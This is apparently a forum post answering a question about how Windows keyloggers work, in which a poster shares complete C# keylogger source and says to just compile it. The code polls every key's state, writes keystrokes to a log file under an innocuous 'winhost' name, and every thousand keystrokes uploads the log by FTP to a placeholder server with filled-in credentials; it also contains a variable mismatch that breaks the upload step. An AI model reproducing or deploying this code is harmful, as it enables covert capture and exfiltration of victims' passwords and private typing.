Do all Windows keyloggers need to monitor Windows hooks?

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If you want something in C# that i made, take a look at this.  Just compile it.



[code] /*



Copyright (C) 2015  Simba



This program is free software; you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation; either version 3 of the License, or

(at your option) any later version.



*/



using System;

using System.Runtime.InteropServices;

using System.Threading;

using System.Windows.Forms;

using System.IO;

using System.Net;

using System.Text;



namespace winhost

{

    class Program

    {

      [DllImport("user32.dll")]

      public static extern int GetAsyncKeyState(Int32 i);

      static void Main(string[] args)

      {



      StartLog();

      }



      public static void uploader()

      {

      /* Intialize communication with a ftp server */

      FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://yoursiteorIP.xxx/data.log");

      request.Method = WebRequestMethods.Ftp.UploadFile;



      /* Replace with your credentials. */

      request.Credentials = new NetworkCredential("User", "Pass");



      /* Create Stream and Upload */

      StreamReader sourceStream = new StreamReader("data.log");

      byte[] fileInfo = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());

      sourceStream.Close();

      request.ContentLength = fileInfo.Length;

      Stream requestStream = request.GetRequestStream();

      requestStream.Write(fileContents, 0, fileContents.Length);

      requestStream.Close();



      }



      static void StartLog()

      {



      /*Create or Find the log file */

      String key;

      int letterCount = 0;

      int lineCount = 1;

      string path = @"data.log";



      while (true)

      {

      Thread.Sleep(0);

      for (Int32 i = 0; i < 255; i++)

      {

      int keyState = GetAsyncKeyState(i);

      if (keyState == 1 || keyState == -32767)

      {

      letterCount++;

      key = ((Keys)i).ToString();



      if (!File.Exists(path))

      {

      string createText = " " + key + Environment.NewLine;

      File.WriteAllText(path, createText);

      }



      /* Formatting Checks */

      string appendText = key;

      if (key.Equals("Space"))

      {

      appendText = " ";

      }

      if (key.Equals("LButton") || key.Equals("RButton"))

      {

      appendText = "";

      }

      File.AppendAllText(path, appendText);



      /* Prints 10 lines of 100 inputs before uploading */

      if (letterCount % 100 == 0)

      {

      Console.WriteLine(letterCount);

      string appendTxt = Environment.NewLine;

      File.AppendAllText(path, appendTxt);

      lineCount++;

      if (lineCount % 10 == 0)

      {

      Console.WriteLine(lineCount);

      uploader();

      }

      break;

      }

      }

      }

      }

      }

      }

    }